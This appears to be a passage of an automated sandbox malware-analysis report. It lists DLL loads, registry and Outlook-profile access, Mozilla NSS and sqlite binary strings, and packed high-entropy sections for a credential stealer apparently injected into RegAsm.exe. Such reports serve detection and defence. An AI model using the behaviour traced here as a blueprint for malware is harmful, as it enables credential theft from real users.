Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: version.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\HDGCAAFBFB.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: version.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\AFBFHDBKJE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2678059158.000000006F8F5000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000008.00000002.2647454498.0000000022AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\rje\tg\obj\Release\ojc.pdb source: RegAsm.exe, 00000002.00000002.2264784834.0000000027493000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000008.00000002.2662426483.000000003A886000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000008.00000002.2655574798.000000002E9A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000008.00000002.2666048822.00000000407FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2678059158.000000006F8F5000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000008.00000002.2651469834.0000000028A32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000008.00000002.2637148462.000000001C6C1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.2646668431.0000000022638000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000008.00000002.2659124356.0000000034917000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00419860

Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041B035 push ecx; ret	2_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28B536 push ecx; ret	2_2_6C28B549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042F142 push ecx; ret	8_2_0042F155
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00422D3B push esi; ret	8_2_00422D3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0041DDB5 push ecx; ret	8_2_0041DDC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_00432715 push 0000004Ch; iretd	8_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_6F8AB536 push ecx; ret	8_2_6F8AB549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_224210C8 push ecx; ret	8_2_22623552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_22421BF9 push ecx; ret	8_2_225C4C03

Source: file.exe	Static PE information: section name: .text entropy: 7.99371013773528
Source: userKECGDBFCBK.exe.2.dr	Static PE information: section name: .text entropy: 7.99542204298472
Source: vdshfd[1].exe.2.dr	Static PE information: section name: .text entropy: 7.99542204298472
